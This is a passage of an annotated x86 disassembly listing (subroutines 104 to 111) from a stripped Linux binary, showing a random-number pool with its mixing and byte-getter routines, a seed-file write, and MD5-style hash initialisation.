08054b3c  89 c6                mov     %eax,%esi
08054b3e  83 c4 10             add     $0x10,%esp
08054b41  85 f6                test    %esi,%esi
08054b43  74 5e                je      08054ba3 <Unknown0104+0x83>
08054b45  8d 9d f8 fb ff ff    lea     0xfffffbf8(%ebp),%ebx   ;-1032 'xf8 xfb xff xff' ""
08054b4b  eb 20                jmp     08054b6d <Unknown0104+0x4d>
08054b4d  8d 76 00             lea     0x0(%esi),%esi
08054b50  57                   push    %edi
08054b51  fc                   cld
08054b52  31 c0                xor     %eax,%eax
08054b54  89 df                mov     %ebx,%edi
08054b56  b9 ff ff ff ff       mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
08054b5b  f2 ae                repnz scas %es:(%edi),%al
08054b5d  f7 d1                not     %ecx
08054b5f  49                   dec     %ecx
08054b60  51                   push    %ecx
08054b61  53                   push    %ebx
08054b62  ff 75 08             pushl   0x8(%ebp)
08054b65  e8 42 00 00 00       call    08054bac <Unknown0105>
08054b6a  83 c4 10             add     $0x10,%esp
08054b6d  51                   push    %ecx
08054b6e  56                   push    %esi
08054b6f  68 e8 03 00 00       push    $0x3e8   ;1000 'xe8 x3 x0 x0' ""
08054b74  53                   push    %ebx
08054b75  e8 66 a2 00 00       call    0805ede0 <Unknown0285>
08054b7a  83 c4 10             add     $0x10,%esp
08054b7d  85 c0                test    %eax,%eax
08054b7f  75 cf                jne     08054b50 <Unknown0104+0x30>
08054b81  83 ec 0c             sub     $0xc,%esp
08054b84  56                   push    %esi
08054b85  e8 82 a6 00 00       call    0805f20c <Unknown0290>
08054b8a  83 c4 0c             add     $0xc,%esp
08054b8d  68 e8 03 00 00       push    $0x3e8   ;1000 'xe8 x3 x0 x0' ""
08054b92  6a 00                push    $0x0
08054b94  8d 85 f8 fb ff ff    lea     0xfffffbf8(%ebp),%eax   ;-1032 'xf8 xfb xff xff' ""
08054b9a  50                   push    %eax
08054b9b  e8 0c 58 ff ff       call    0804a3ac <memset>
08054ba0  83 c4 10             add     $0x10,%esp
08054ba3  8d 65 f4             lea     0xfffffff4(%ebp),%esp
08054ba6  5b                   pop     %ebx
08054ba7  5e                   pop     %esi
08054ba8  5f                   pop     %edi
08054ba9  5d                   pop     %ebp
08054baa  c3                   ret
08054bab  90                   nop

  ;
```

```
  ; >--------------------< Subroutine # 105 >--------------------<
  ;
08054bac <Unknown0105>:
08054bac  55                      push    %ebp
08054bad  89 e5                   mov     %esp,%ebp
08054baf  57                      push    %edi
08054bb0  56                      push    %esi
08054bb1  53                      push    %ebx
08054bb2  83 ec 0c                sub     $0xc,%esp
08054bb5  8b 75 10                mov     0x10(%ebp),%esi
08054bb8  8b 45 08                mov     0x8(%ebp),%eax
08054bbb  85 f6                   test    %esi,%esi
08054bbd  8b 98 44 04 00 00       mov     0x444(%eax),%ebx   ;1092 'x44 x4 x0 x0' "D"
08054bc3  8b 7d 0c                mov     0xc(%ebp),%edi
08054bc6  74 25                   je      08054bed <Unknown0105+0x41>
08054bc8  81 fb ff 03 00 00       cmp     $0x3ff,%ebx        ;1023 'xff x3 x0 x0' ""
08054bce  76 10                   jbe     08054be0 <Unknown0105+0x34>
08054bd0  83 ec 0c                sub     $0xc,%esp
08054bd3  ff 75 08                pushl   0x8(%ebp)
08054bd6  e8 25 00 00 00          call    08054c00 <Unknown0106>
08054bdb  31 db                   xor     %ebx,%ebx
08054bdd  83 c4 10                add     $0x10,%esp
08054be0  8a 07                   mov     (%edi),%al
08054be2  8b 55 08                mov     0x8(%ebp),%edx
08054be5  30 04 13                xor     %al,(%ebx,%edx,1)
08054be8  47                      inc     %edi
08054be9  43                      inc     %ebx
08054bea  4e                      dec     %esi
08054beb  75 db                   jne     08054bc8 <Unknown0105+0x1c>
08054bed  8b 45 08                mov     0x8(%ebp),%eax
08054bf0  89 98 44 04 00 00       mov     %ebx,0x444(%eax)   ;1092 'x44 x4 x0 x0' "D"
08054bf6  8d 65 f4                lea     0xfffffff4(%ebp),%esp
08054bf9  5b                      pop     %ebx
08054bfa  5e                      pop     %esi
08054bfb  5f                      pop     %edi
08054bfc  5d                      pop     %ebp
08054bfd  c3                      ret
08054bfe  89 f6                   mov     %esi,%esi


  ;
  ; >--------------------< Subroutine # 106 >--------------------<
  ;
08054c00 <Unknown0106>:
08054c00  55                      push    %ebp
08054c01  89 e5                   mov     %esp,%ebp
08054c03  57                      push    %edi
08054c04  56                      push    %esi
08054c05  53                      push    %ebx
08054c06  83 ec 2c                sub     $0x2c,%esp
08054c09  8b 5d 08                mov     0x8(%ebp),%ebx
08054c0c  0f b6 13                movzbl  (%ebx),%edx
08054c0f  0f b6 43 01             movzbl  0x1(%ebx),%eax
08054c13  c1 e0 10                shl     $0x10,%eax
08054c16  c1 e2 18                shl     $0x18,%edx
08054c19  09 c2                   or      %eax,%edx
08054c1b  0f b6 43 02             movzbl  0x2(%ebx),%eax
08054c1f  c1 e0 08                shl     $0x8,%eax
08054c22  09 c2                   or      %eax,%edx
08054c24  0f b6 43 03             movzbl  0x3(%ebx),%eax
08054c28  09 c2                   or      %eax,%edx
08054c2a  89 55 d8                mov     %edx,0xffffffd8(%ebp)
08054c2d  0f b6 53 04             movzbl  0x4(%ebx),%edx
08054c31  0f b6 43 05             movzbl  0x5(%ebx),%eax
08054c35  c1 e0 10                shl     $0x10,%eax
08054c38  c1 e2 18                shl     $0x18,%edx
08054c3b  09 c2                   or      %eax,%edx
08054c3d  0f b6 43 06             movzbl  0x6(%ebx),%eax
08054c41  c1 e0 08                shl     $0x8,%eax
08054c44  09 c2                   or      %eax,%edx
08054c46  0f b6 43 07             movzbl  0x7(%ebx),%eax
08054c4a  09 c2                   or      %eax,%edx
08054c4c  89 55 dc                mov     %edx,0xffffffdc(%ebp)
08054c4f  0f b6 53 08             movzbl  0x8(%ebx),%edx
08054c53  0f b6 43 09             movzbl  0x9(%ebx),%eax
08054c57  c1 e0 10                shl     $0x10,%eax
08054c5a  c1 e2 18                shl     $0x18,%edx
08054c5d  09 c2                   or      %eax,%edx
08054c5f  0f b6 43 0a             movzbl  0xa(%ebx),%eax
08054c63  c1 e0 08                shl     $0x8,%eax
08054c66  09 c2                   or      %eax,%edx
08054c68  0f b6 43 0b             movzbl  0xb(%ebx),%eax
08054c6c  09 c2                   or      %eax,%edx
08054c6e  89 55 e0                mov     %edx,0xffffffe0(%ebp)
```

```
08054c71  0f b6 53 0c        movzbl 0xc(%ebx),%edx
08054c75  0f b6 43 0d        movzbl 0xd(%ebx),%eax
08054c79  c1 e0 10           shl    $0x10,%eax
08054c7c  c1 e2 18           shl    $0x18,%edx
08054c7f  09 c2              or     %eax,%edx
08054c81  0f b6 43 0e        movzbl 0xe(%ebx),%eax
08054c85  c1 e0 08           shl    $0x8,%eax
08054c88  09 c2              or     %eax,%edx
08054c8a  0f b6 43 0f        movzbl 0xf(%ebx),%eax
08054c8e  09 c2              or     %eax,%edx
08054c90  89 55 e4           mov    %edx,0xffffffe4(%ebp)
08054c93  31 f6              xor    %esi,%esi
08054c95  8d 76 00           lea    0x0(%esi),%esi
08054c98  83 ec 08           sub    $0x8,%esp
08054c9b  8d 83 00 04 00 00  lea    0x400(%ebx),%eax   ;1024 'x0 x4 x0 x0' ""
08054ca1  50                 push   %eax
08054ca2  89 45 d4           mov    %eax,0xffffffd4(%ebp)
08054ca5  8d 45 d8           lea    0xffffffd8(%ebp),%eax
08054ca8  50                 push   %eax
08054ca9  e8 fe 05 00 00     call   080552ac <Unknown0113>
08054cae  0f b6 14 1e        movzbl (%esi,%ebx,1),%edx
08054cb2  0f b6 44 1e 01     movzbl 0x1(%esi,%ebx,1),%eax
08054cb7  c1 e0 10           shl    $0x10,%eax
08054cba  c1 e2 18           shl    $0x18,%edx
08054cbd  09 c2              or     %eax,%edx
08054cbf  0f b6 44 1e 02     movzbl 0x2(%esi,%ebx,1),%eax
08054cc4  c1 e0 08           shl    $0x8,%eax
08054cc7  09 c2              or     %eax,%edx
08054cc9  0f b6 44 1e 03     movzbl 0x3(%esi,%ebx,1),%eax
08054cce  09 c2              or     %eax,%edx
08054cd0  33 55 d8           xor    0xffffffd8(%ebp),%edx
08054cd3  83 c4 10           add    $0x10,%esp
08054cd6  89 55 d8           mov    %edx,0xffffffd8(%ebp)
08054cd9  c1 ea 18           shr    $0x18,%edx
08054cdc  88 14 1e           mov    %dl,(%esi,%ebx,1)
08054cdf  0f b7 45 da        movzwl 0xffffffda(%ebp),%eax
08054ce3  88 44 1e 01        mov    %al,0x1(%esi,%ebx,1)
08054ce7  8b 45 d8           mov    0xffffffd8(%ebp),%eax
08054cea  c1 e8 08           shr    $0x8,%eax
08054ced  88 44 1e 02        mov    %al,0x2(%esi,%ebx,1)
08054cf1  8a 45 d8           mov    0xffffffd8(%ebp),%al
08054cf4  88 44 1e 03        mov    %al,0x3(%esi,%ebx,1)
08054cf8  0f b6 54 1e 04     movzbl 0x4(%esi,%ebx,1),%edx
08054cfd  0f b6 44 1e 05     movzbl 0x5(%esi,%ebx,1),%eax
08054d02  c1 e0 10           shl    $0x10,%eax
08054d05  c1 e2 18           shl    $0x18,%edx
08054d08  09 c2              or     %eax,%edx
08054d0a  0f b6 44 1e 06     movzbl 0x6(%esi,%ebx,1),%eax
08054d0f  c1 e0 08           shl    $0x8,%eax
08054d12  09 c2              or     %eax,%edx
08054d14  0f b6 44 1e 07     movzbl 0x7(%esi,%ebx,1),%eax
08054d19  09 c2              or     %eax,%edx
08054d1b  33 55 dc           xor    0xffffffdc(%ebp),%edx
08054d1e  89 55 dc           mov    %edx,0xffffffdc(%ebp)
08054d21  c1 ea 18           shr    $0x18,%edx
08054d24  88 54 1e 04        mov    %dl,0x4(%esi,%ebx,1)
08054d28  0f b7 45 de        movzwl 0xffffffde(%ebp),%eax
08054d2c  88 44 1e 05        mov    %al,0x5(%esi,%ebx,1)
08054d30  8b 45 dc           mov    0xffffffdc(%ebp),%eax
08054d33  c1 e8 08           shr    $0x8,%eax
08054d36  88 44 1e 06        mov    %al,0x6(%esi,%ebx,1)
08054d3a  8a 45 dc           mov    0xffffffdc(%ebp),%al
08054d3d  88 44 1e 07        mov    %al,0x7(%esi,%ebx,1)
08054d41  0f b6 54 1e 08     movzbl 0x8(%esi,%ebx,1),%edx
08054d46  0f b6 44 1e 09     movzbl 0x9(%esi,%ebx,1),%eax
08054d4b  c1 e0 10           shl    $0x10,%eax
08054d4e  c1 e2 18           shl    $0x18,%edx
08054d51  09 c2              or     %eax,%edx
08054d53  0f b6 44 1e 0a     movzbl 0xa(%esi,%ebx,1),%eax
08054d58  c1 e0 08           shl    $0x8,%eax
08054d5b  09 c2              or     %eax,%edx
08054d5d  0f b6 44 1e 0b     movzbl 0xb(%esi,%ebx,1),%eax
08054d62  09 c2              or     %eax,%edx
08054d64  33 55 e0           xor    0xffffffe0(%ebp),%edx
08054d67  89 55 e0           mov    %edx,0xffffffe0(%ebp)
08054d6a  c1 ea 18           shr    $0x18,%edx
08054d6d  88 54 1e 08        mov    %dl,0x8(%esi,%ebx,1)
08054d71  0f b7 45 e2        movzwl 0xffffffe2(%ebp),%eax
08054d75  88 44 1e 09        mov    %al,0x9(%esi,%ebx,1)
08054d79  8b 45 e0           mov    0xffffffe0(%ebp),%eax
08054d7c  c1 e8 08           shr    $0x8,%eax
08054d7f  88 44 1e 0a        mov    %al,0xa(%esi,%ebx,1)
08054d83  8a 45 e0           mov    0xffffffe0(%ebp),%al
08054d86  88 44 1e 0b        mov    %al,0xb(%esi,%ebx,1)
```

```
08054d8a   0f b6 54 1e 0c        movzbl  0xc(%esi,%ebx,1),%edx
08054d8f   0f b6 44 1e 0d        movzbl  0xd(%esi,%ebx,1),%eax
08054d94   c1 e0 10              shl     $0x10,%eax
08054d97   c1 e2 18              shl     $0x18,%edx
08054d9a   09 c2                 or      %eax,%edx
08054d9c   0f b6 44 1e 0e        movzbl  0xe(%esi,%ebx,1),%eax
08054da1   c1 e0 08              shl     $0x8,%eax
08054da4   09 c2                 or      %eax,%edx
08054da6   0f b6 44 1e 0f        movzbl  0xf(%esi,%ebx,1),%eax
08054dab   09 c2                 or      %eax,%edx
08054dad   33 55 e4              xor     0xffffffe4(%ebp),%edx
08054db0   89 55 e4              mov     %edx,0xffffffe4(%ebp)
08054db3   c1 ea 18              shr     $0x18,%edx
08054db6   88 54 1e 0c          mov     %dl,0xc(%esi,%ebx,1)
08054dba   0f b7 45 e6          movzwl  0xffffffe6(%ebp),%eax
08054dbe   88 44 1e 0d          mov     %al,0xd(%esi,%ebx,1)
08054dc2   8b 45 e4             mov     0xffffffe4(%ebp),%eax
08054dc5   c1 e8 08             shr     $0x8,%eax
08054dc8   88 44 1e 0e          mov     %al,0xe(%esi,%ebx,1)
08054dcc   8a 45 e4             mov     0xffffffe4(%ebp),%al
08054dcf   88 44 1e 0f          mov     %al,0xf(%esi,%ebx,1)
08054dd3   83 c6 10             add     $0x10,%esi
08054dd6   81 fe ff 03 00 00    cmp     $0x3ff,%esi    ;1023 'xff x3 x0 x0' ""
08054ddc   0f 86 b6 fe ff ff    jbe     08054c98 <Unknown0106+0x98>  ;-330 'xb6 xfe xff xff' ""
08054de2   fc                   cld
08054de3   b9 10 00 00 00       mov     $0x10,%ecx     ;16 'x10 x0 x0 x0' ""
08054de8   8b 7d d4             mov     0xffffffd4(%ebp),%edi
08054deb   89 de                mov     %ebx,%esi
08054ded   f3 a5                repz movsl %ds:(%esi),%es:(%edi)
08054def   31 f6                xor     %esi,%esi
08054df1   8d 76 00             lea     0x0(%esi),%esi
08054df4   83 ec 08             sub     $0x8,%esp
08054df7   8d 83 00 04 00 00    lea     0x400(%ebx),%eax   ;1024 'x0 x4 x0 x0' ""
08054dfd   50                   push    %eax
08054dfe   8d 45 d8             lea     0xffffffd8(%ebp),%eax
08054e01   50                   push    %eax
08054e02   e8 a5 04 00 00       call    080552ac <Unknown0113>
08054e07   0f b6 14 1e          movzbl  (%esi,%ebx,1),%edx
08054e0b   0f b6 44 1e 01       movzbl  0x1(%esi,%ebx,1),%eax
08054e10   c1 e0 10             shl     $0x10,%eax
08054e13   c1 e2 18             shl     $0x18,%edx
08054e16   09 c2                or      %eax,%edx
08054e18   0f b6 44 1e 02       movzbl  0x2(%esi,%ebx,1),%eax
08054e1d   c1 e0 08             shl     $0x8,%eax
08054e20   09 c2                or      %eax,%edx
08054e22   0f b6 44 1e 03       movzbl  0x3(%esi,%ebx,1),%eax
08054e27   09 c2                or      %eax,%edx
08054e29   33 55 d8             xor     0xffffffd8(%ebp),%edx
08054e2c   83 c4 10             add     $0x10,%esp
08054e2f   89 55 d8             mov     %edx,0xffffffd8(%ebp)
08054e32   c1 ea 18             shr     $0x18,%edx
08054e35   88 14 1e             mov     %dl,(%esi,%ebx,1)
08054e38   0f b7 45 da          movzwl  0xffffffda(%ebp),%eax
08054e3c   88 44 1e 01          mov     %al,0x1(%esi,%ebx,1)
08054e40   8b 45 d8             mov     0xffffffd8(%ebp),%eax
08054e43   c1 e8 08             shr     $0x8,%eax
08054e46   88 44 1e 02          mov     %al,0x2(%esi,%ebx,1)
08054e4a   8a 45 d8             mov     0xffffffd8(%ebp),%al
08054e4d   88 44 1e 03          mov     %al,0x3(%esi,%ebx,1)
08054e51   0f b6 54 1e 04       movzbl  0x4(%esi,%ebx,1),%edx
08054e56   0f b6 44 1e 05       movzbl  0x5(%esi,%ebx,1),%eax
08054e5b   c1 e0 10             shl     $0x10,%eax
08054e5e   c1 e2 18             shl     $0x18,%edx
08054e61   09 c2                or      %eax,%edx
08054e63   0f b6 44 1e 06       movzbl  0x6(%esi,%ebx,1),%eax
08054e68   c1 e0 08             shl     $0x8,%eax
08054e6b   09 c2                or      %eax,%edx
08054e6d   0f b6 44 1e 07       movzbl  0x7(%esi,%ebx,1),%eax
08054e72   09 c2                or      %eax,%edx
08054e74   33 55 dc             xor     0xffffffdc(%ebp),%edx
08054e77   89 55 dc             mov     %edx,0xffffffdc(%ebp)
08054e7a   c1 ea 18             shr     $0x18,%edx
08054e7d   88 54 1e 04          mov     %dl,0x4(%esi,%ebx,1)
08054e81   0f b7 45 de          movzwl  0xffffffde(%ebp),%eax
08054e85   88 44 1e 05          mov     %al,0x5(%esi,%ebx,1)
08054e89   8b 45 dc             mov     0xffffffdc(%ebp),%eax
08054e8c   c1 e8 08             shr     $0x8,%eax
08054e8f   88 44 1e 06          mov     %al,0x6(%esi,%ebx,1)
08054e93   8a 45 dc             mov     0xffffffdc(%ebp),%al
08054e96   88 44 1e 07          mov     %al,0x7(%esi,%ebx,1)
08054e9a   0f b6 54 1e 08       movzbl  0x8(%esi,%ebx,1),%edx
08054e9f   0f b6 44 1e 09       movzbl  0x9(%esi,%ebx,1),%eax
08054ea4   c1 e0 10             shl     $0x10,%eax
08054ea7   c1 e2 18             shl     $0x18,%edx
```

```
08054eaa  09 c2                         or      %eax,%edx
08054eac  0f b6 44 1e 0a                movzbl  0xa(%esi,%ebx,1),%eax
08054eb1  c1 e0 08                      shl     $0x8,%eax
08054eb4  09 c2                         or      %eax,%edx
08054eb6  0f b6 44 1e 0b                movzbl  0xb(%esi,%ebx,1),%eax
08054ebb  09 c2                         or      %eax,%edx
08054ebd  33 55 e0                      xor     0xffffffe0(%ebp),%edx
08054ec0  89 55 e0                      mov     %edx,0xffffffe0(%ebp)
08054ec3  c1 ea 18                      shr     $0x18,%edx
08054ec6  88 54 1e 08                   mov     %dl,0x8(%esi,%ebx,1)
08054eca  0f b7 45 e2                   movzwl  0xffffffe2(%ebp),%eax
08054ece  88 44 1e 09                   mov     %al,0x9(%esi,%ebx,1)
08054ed2  8b 45 e0                      mov     0xffffffe0(%ebp),%eax
08054ed5  c1 e8 08                      shr     $0x8,%eax
08054ed8  88 44 1e 0a                   mov     %al,0xa(%esi,%ebx,1)
08054edc  8a 45 e0                      mov     0xffffffe0(%ebp),%al
08054edf  88 44 1e 0b                   mov     %al,0xb(%esi,%ebx,1)
08054ee3  0f b6 54 1e 0c                movzbl  0xc(%esi,%ebx,1),%edx
08054ee8  0f b6 44 1e 0d                movzbl  0xd(%esi,%ebx,1),%eax
08054eed  c1 e0 10                      shl     $0x10,%eax
08054ef0  c1 e2 18                      shl     $0x18,%edx
08054ef3  09 c2                         or      %eax,%edx
08054ef5  0f b6 44 1e 0e                movzbl  0xe(%esi,%ebx,1),%eax
08054efa  c1 e0 08                      shl     $0x8,%eax
08054efd  09 c2                         or      %eax,%edx
08054eff  0f b6 44 1e 0f                movzbl  0xf(%esi,%ebx,1),%eax
08054f04  09 c2                         or      %eax,%edx
08054f06  33 55 e4                      xor     0xffffffe4(%ebp),%edx
08054f09  89 55 e4                      mov     %edx,0xffffffe4(%ebp)
08054f0c  c1 ea 18                      shr     $0x18,%edx
08054f0f  88 54 1e 0c                   mov     %dl,0xc(%esi,%ebx,1)
08054f13  0f b7 45 e6                   movzwl  0xffffffe6(%ebp),%eax
08054f17  88 44 1e 0d                   mov     %al,0xd(%esi,%ebx,1)
08054f1b  8b 45 e4                      mov     0xffffffe4(%ebp),%eax
08054f1e  c1 e8 08                      shr     $0x8,%eax
08054f21  88 44 1e 0e                   mov     %al,0xe(%esi,%ebx,1)
08054f25  8a 45 e4                      mov     0xffffffe4(%ebp),%al
08054f28  88 44 1e 0f                   mov     %al,0xf(%esi,%ebx,1)
08054f2c  83 c6 10                      add     $0x10,%esi
08054f2f  81 fe ff 03 00 00             cmp     $0x3ff,%esi   ;1023 'xff x3 x0 x0' ""
08054f35  0f 86 b9 fe ff ff             jbe     08054df4 <Unknown0106+0x1f4>   ;-327 'xb9 xfe xff xff' ""
08054f3b  c7 83 44 04 00 00 00 00 00 00  movl    $0x0,0x444(%ebx)   ;0 'x0 x0 x0 x0' ""
08054f45  c7 83 40 04 00 00 40 00 00 00  movl    $0x40,0x440(%ebx)  ;64 'x40 x0 x0 x0' "@"
08054f4f  8d 65 f4                      lea     0xfffffff4(%ebp),%esp
08054f52  5b                            pop     %ebx
08054f53  5e                            pop     %esi
08054f54  5f                            pop     %edi
08054f55  5d                            pop     %ebp
08054f56  c3                            ret
08054f57  90                            nop


    ;
    ; >--------------------<  Subroutine # 107 >--------------------<
    ;
08054f58 <Unknown0107>:
08054f58  55                            push    %ebp
08054f59  89 e5                         mov     %esp,%ebp
08054f5b  53                            push    %ebx
08054f5c  50                            push    %eax
08054f5d  8b 5d 08                      mov     0x8(%ebp),%ebx
08054f60  8b 93 40 04 00 00             mov     0x440(%ebx),%edx   ;1088 'x40 x4 x0 x0' "@"
08054f66  81 fa ff 03 00 00             cmp     $0x3ff,%edx   ;1023 'xff x3 x0 x0' ""
08054f6c  76 12                         jbe     08054f80 <Unknown0107+0x28>
08054f6e  83 ec 0c                      sub     $0xc,%esp
08054f71  53                            push    %ebx
08054f72  e8 bd f8 ff ff                call    08054834 <Unknown0102>
08054f77  83 c4 10                      add     $0x10,%esp
08054f7a  8b 93 40 04 00 00             mov     0x440(%ebx),%edx   ;1088 'x40 x4 x0 x0' "@"
08054f80  81 fa ff 03 00 00             cmp     $0x3ff,%edx   ;1023 'xff x3 x0 x0' ""
08054f86  76 1c                         jbe     08054fa4 <Unknown0107+0x4c>
08054f88  68 a7 0e 07 08                push    $0x8070ea7   ;[in .rodata] 1684955506 'x72 x61 x6e x64'
                                                "random_get_byte"
08054f8d  68 72 01 00 00                push    $0x172   ;370 'x72 x1 x0 x0' "r"
08054f92  68 b7 0e 07 08                push    $0x8070eb7   ;[in .rodata] 1684955506 'x72 x61 x6e x64' "randoms.c"
08054f97  68 e0 0e 07 08                push    $0x8070ee0   ;[in .rodata] 1952543859 'x73 x74 x61 x74'
                                                "state->next_available_byte < (8192 / 8)"
08054f9c  e8 2b 4e ff ff                call    08049dcc <__assert_fail>
08054fa1  8d 76 00                      lea     0x0(%esi),%esi
08054fa4  0f b6 04 1a                   movzbl  (%edx,%ebx,1),%eax
08054fa8  42                            inc     %edx
08054fa9  89 93 40 04 00 00             mov     %edx,0x440(%ebx)   ;1088 'x40 x4 x0 x0' "@"
08054faf  8b 5d fc                      mov     0xfffffffc(%ebp),%ebx
08054fb2  c9                            leave
```

```
08054fb3  c3                    ret


  ;
  ; >---------------------<  Subroutine # 108 >---------------------<
  ;
08054fb4 <Unknown0108>:
08054fb4  55                    push   %ebp
08054fb5  89 e5                 mov    %esp,%ebp
08054fb7  57                    push   %edi
08054fb8  56                    push   %esi
08054fb9  53                    push   %ebx
08054fba  81 ec 18 02 00 00     sub    $0x218,%esp   ;536 'x18 x2 x0 x0' ""
08054fc0  8b 7d 08              mov    0x8(%ebp),%edi
08054fc3  c7 87 48 04 00 00 00 00 00 00  movl  $0x0,0x448(%edi)  ;0 'x0 x0 x0 x0' ""
08054fcd  57                    push   %edi
08054fce  e8 61 f8 ff ff        call   08054834 <Unknown0102>
08054fd3  31 db                 xor    %ebx,%ebx
08054fd5  83 c4 10              add    $0x10,%esp
08054fd8  8d b5 e8 fd ff ff     lea    0xfffffde8(%ebp),%esi  ;-536 'xe8 xfd xff xff' ""
08054fde  89 f6                 mov    %esi,%esi
08054fe0  83 ec 0c              sub    $0xc,%esp
08054fe3  57                    push   %edi
08054fe4  e8 6f ff ff ff        call   08054f58 <Unknown0107>
08054fe9  88 04 33              mov    %al,(%ebx,%esi,1)
08054fec  43                    inc    %ebx
08054fed  83 c4 10              add    $0x10,%esp
08054ff0  81 fb ff 01 00 00     cmp    $0x1ff,%ebx   ;511 'xff x1 x0 x0' ""
08054ff6  76 e8                 jbe    08054fe0 <Unknown0108+0x2c>
08054ff8  83 ec 0c              sub    $0xc,%esp
08054ffb  57                    push   %edi
08054ffc  e8 33 f8 ff ff        call   08054834 <Unknown0102>
08055001  68 80 01 00 00        push   $0x180  ;384 'x80 x1 x0 x0' ""
08055006  68 41 02 00 00        push   $0x241  ;577 'x41 x2 x0 x0' "A"
0805500b  ff 75 10              pushl  0x10(%ebp)
0805500e  ff 75 0c              pushl  0xc(%ebp)
08055011  e8 8a 99 00 00        call   0805e9a0 <Unknown0279>
08055016  89 c3                 mov    %eax,%ebx
08055018  83 c4 20              add    $0x20,%esp
0805501b  85 db                 test   %ebx,%ebx
0805501d  74 1e                 je     0805503d <Unknown0108+0x89>
0805501f  51                    push   %ecx
08055020  68 00 02 00 00        push   $0x200  ;512 'x0 x2 x0 x0' ""
08055025  8d 85 e8 fd ff ff     lea    0xfffffde8(%ebp),%eax  ;-536 'xe8 xfd xff xff' ""
0805502b  50                    push   %eax
0805502c  53                    push   %ebx
0805502d  e8 c6 9c 00 00        call   0805ecf8 <Unknown0284>
08055032  89 1c 24              mov    %ebx,(%esp,1)
08055035  e8 76 9a 00 00        call   0805eab0 <Unknown0280>
0805503a  83 c4 10              add    $0x10,%esp
0805503d  52                    push   %edx
0805503e  68 00 02 00 00        push   $0x200  ;512 'x0 x2 x0 x0' ""
08055043  8d 85 e8 fd ff ff     lea    0xfffffde8(%ebp),%eax  ;-536 'xe8 xfd xff xff' ""
08055049  6a 00                 push   $0x0
0805504b  50                    push   %eax
0805504c  e8 5b 53 ff ff        call   0804a3ac <memset>
08055051  83 c4 10              add    $0x10,%esp
08055054  8d 65 f4              lea    0xfffffff4(%ebp),%esp
08055057  5b                    pop    %ebx
08055058  5e                    pop    %esi
08055059  5f                    pop    %edi
0805505a  5d                    pop    %ebp
0805505b  c3                    ret


  ;
  ; >---------------------<  Subroutine # 109 >---------------------<
  ;
0805505c <Unknown0109>:
0805505c  55                    push   %ebp
0805505d  89 e5                 mov    %esp,%ebp
0805505f  83 ec 0c              sub    $0xc,%esp
08055062  68 4c 04 00 00        push   $0x44c  ;1100 'x4c x4 x0 x0' "L"
08055067  6a 00                 push   $0x0
08055069  ff 75 08              pushl  0x8(%ebp)
0805506c  e8 3b 53 ff ff        call   0804a3ac <memset>
08055071  83 c4 10              add    $0x10,%esp
08055074  c9                    leave
08055075  c3                    ret
08055076  89 f6                 mov    %esi,%esi


  ;
  ; >---------------------<  Subroutine # 110 >---------------------<
```

```
        ;
08055078 <Unknown0110>:
08055078  55                      push   %ebp
08055079  89 e5                   mov    %esp,%ebp
0805507b  8b 45 08                mov    0x8(%ebp),%eax
0805507e  c7 00 01 23 45 67       movl   $0x67452301,(%eax)    ;1732584193 'x1 x23 x45 x67' ""
08055084  c7 40 04 89 ab cd ef    movl   $0xefcdab89,0x4(%eax)  ;-271733879 'x89 xab xcd xef' ""
0805508b  c7 40 08 fe dc ba 98    movl   $0x98badcfe,0x8(%eax)  ;-1732584194 'xfe xdc xba x98' ""
08055092  c7 40 0c 76 54 32 10    movl   $0x10325476,0xc(%eax)  ;271733878 'x76 x54 x32 x10' "vT2"
08055099  c7 40 10 00 00 00 00    movl   $0x0,0x10(%eax)  ;0 'x0 x0 x0 x0' ""
080550a0  c7 40 14 00 00 00 00    movl   $0x0,0x14(%eax)  ;0 'x0 x0 x0 x0' ""
080550a7  5d                      pop    %ebp
080550a8  c3                      ret
080550a9  8d 76 00                lea    0x0(%esi),%esi


        ;
        ; >---------------------<  Subroutine # 111 >---------------------<
        ;
080550ac <Unknown0111>:
080550ac  55                      push   %ebp
080550ad  89 e5                   mov    %esp,%ebp
080550af  57                      push   %edi
080550b0  56                      push   %esi
080550b1  53                      push   %ebx
080550b2  83 ec 0c                sub    $0xc,%esp
080550b5  8b 45 0c                mov    0xc(%ebp),%eax
080550b8  89 45 f0                mov    %eax,0xfffffff0(%ebp)
080550bb  8b 7d 08                mov    0x8(%ebp),%edi
080550be  8b 5f 10                mov    0x10(%edi),%ebx
080550c1  8b 75 10                mov    0x10(%ebp),%esi
080550c4  8d 04 f3                lea    (%ebx,%esi,8),%eax
080550c7  39 d8                   cmp    %ebx,%eax
080550c9  89 47 10                mov    %eax,0x10(%edi)
080550cc  73 03                   jae    080550d1 <Unknown0111+0x25>
080550ce  ff 47 14                incl   0x14(%edi)
080550d1  89 f0                   mov    %esi,%eax
080550d3  c1 e8 1d                shr    $0x1d,%eax
080550d6  01 47 14                add    %eax,0x14(%edi)
080550d9  89 d8                   mov    %ebx,%eax
080550db  c1 e8 03                shr    $0x3,%eax
080550de  89 c3                   mov    %eax,%ebx
080550e0  83 e3 3f                and    $0x3f,%ebx
080550e3  74 4a                   je     0805512f <Unknown0111+0x83>
080550e5  b8 40 00 00 00          mov    $0x40,%eax   ;64 'x40 x0 x0 x0' "@"
080550ea  29 d8                   sub    %ebx,%eax
080550ec  8d 54 3b 18             lea    0x18(%ebx,%edi,1),%edx
080550f0  89 c3                   mov    %eax,%ebx
080550f2  39 de                   cmp    %ebx,%esi
080550f4  73 1a                   jae    08055110 <Unknown0111+0x64>
080550f6  8b 45 f0                mov    0xfffffff0(%ebp),%eax
080550f9  89 75 10                mov    %esi,0x10(%ebp)
080550fc  89 45 0c                mov    %eax,0xc(%ebp)
080550ff  89 55 08                mov    %edx,0x8(%ebp)
08055102  8d 65 f4                lea    0xfffffff4(%ebp),%esp
08055105  5b                      pop    %ebx
08055106  5e                      pop    %esi
08055107  5f                      pop    %edi
08055108  5d                      pop    %ebp
08055109  e9 2e 51 ff ff          jmp    0804a23c <memcpy>   ;-44754 'x2e x51 xff xff' ".Q"
0805510e  89 f6                   mov    %esi,%esi
08055110  51                      push   %ecx
08055111  53                      push   %ebx
08055112  ff 75 f0                pushl  0xfffffff0(%ebp)
08055115  52                      push   %edx
08055116  e8 21 51 ff ff          call   0804a23c <memcpy>
0805511b  58                      pop    %eax
0805511c  5a                      pop    %edx
0805511d  8d 47 18                lea    0x18(%edi),%eax
08055120  50                      push   %eax
08055121  57                      push   %edi
08055122  e8 85 01 00 00          call   080552ac <Unknown0113>
08055127  29 de                   sub    %ebx,%esi
08055129  01 5d f0                add    %ebx,0xfffffff0(%ebp)
